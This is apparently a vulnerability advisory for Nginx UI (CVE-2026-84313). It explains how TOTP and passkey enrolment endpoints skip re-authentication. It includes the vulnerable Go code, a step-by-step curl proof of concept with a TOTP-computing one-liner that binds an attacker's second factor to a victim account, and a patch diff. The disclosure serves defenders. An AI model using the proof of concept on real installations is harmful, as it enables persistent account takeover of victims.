OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-84313: Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover

GitHub Advisories · officialPublished Oct 15, 2026Risk 37/100

## Summary Endpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out. ## Details `api/user/router.go:34-39` — note the routes registered *before* the secure-session group: ```go r.GET("/otp_secret", GenerateTOTP) r.POST("/otp_enroll", EnrollTOTP) // ← outside RequireSecureSession r.GET("/begin_passkey_register", BeginPasskeyRegistration) r.POST("/finish_passkey_register", FinishPasskeyRegistration) // ← outside RequireSecureSession o := r.Group("", middleware.RequireSecureSession()) { o.GET("/otp_reset", ResetOTP) // reset *is* protected — inconsistent ... } ``` `EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting): ```go if cUser.EnabledOTP() { ... abort ... } var twoFA struct { Secret string `json:"secret" binding:"required"` Passcode string `json:"passcode" binding:"required"` } if !cosy.BindAndValid(c, &twoFA) { return } if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... } ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret)) u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext) ``` `FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* "already enrolled" guard — an attacker can register multiple passkeys to the victim. ## Proof of Concept ```bash JWT="<victim_jwt>" # Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call): $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret {"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN", "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"} # Step 2 — compute current 30-s TOTP code (attacker-side): $ python3 -c "import base64,hmac,hashlib,struct,time key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN') ctr=int(time.time())//30 h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest() o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000 print(f'{v:06d}')" 954084 # Step 3 — bind that secret to the victim's account: $ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \ -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \ http://127.0.0.1:18080/api/otp_enroll HTTP/1.1 200 OK {"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...], "last_viewed":1778338236} # Step 4 — confirm 2FA is now enabled on the victim's account: $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status {"enabled":true,"otp_status":true,"passkey_status":false, "recovery_codes_generated":true,"recovery_codes_viewed":true} ``` Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker's* authenticator. The passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker's WebAuthn authenticator. The route is also outside `RequireSecureSession`. ## Impact * Persistent account takeover surviving the victim's password reset. * Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation. ## Patches `api/user/router.go` — move enrolment routes inside the secure-session group: ```diff - r.POST("/otp_enroll", EnrollTOTP) - r.GET("/begin_passkey_register", BeginPasskeyRegistration) - r.POST("/finish_passkey_register", FinishPasskeyRegistration) - o := r.Group("", middleware.RequireSecureSession()) { + o.POST("/otp_enroll", EnrollTOTP) + o.GET("/begin_passkey_register", BeginPasskeyRegistration) + o.POST("/finish_passkey_register", FinishPasskeyRegistration) o.GET("/otp_reset", ResetOTP) ... } ``` This patch alone is **not sufficient** — the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`). ## Workarounds None reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows. ## Credits Vishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.

Upgrade affected packages to a patched version: Nginx-UI 1.9.10-0.20260703131214-23d1934099b0.

Vendor
Not specified
Product
Nginx-UI
Exploitation
none known
Evidence
official
CVSS
8.8

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source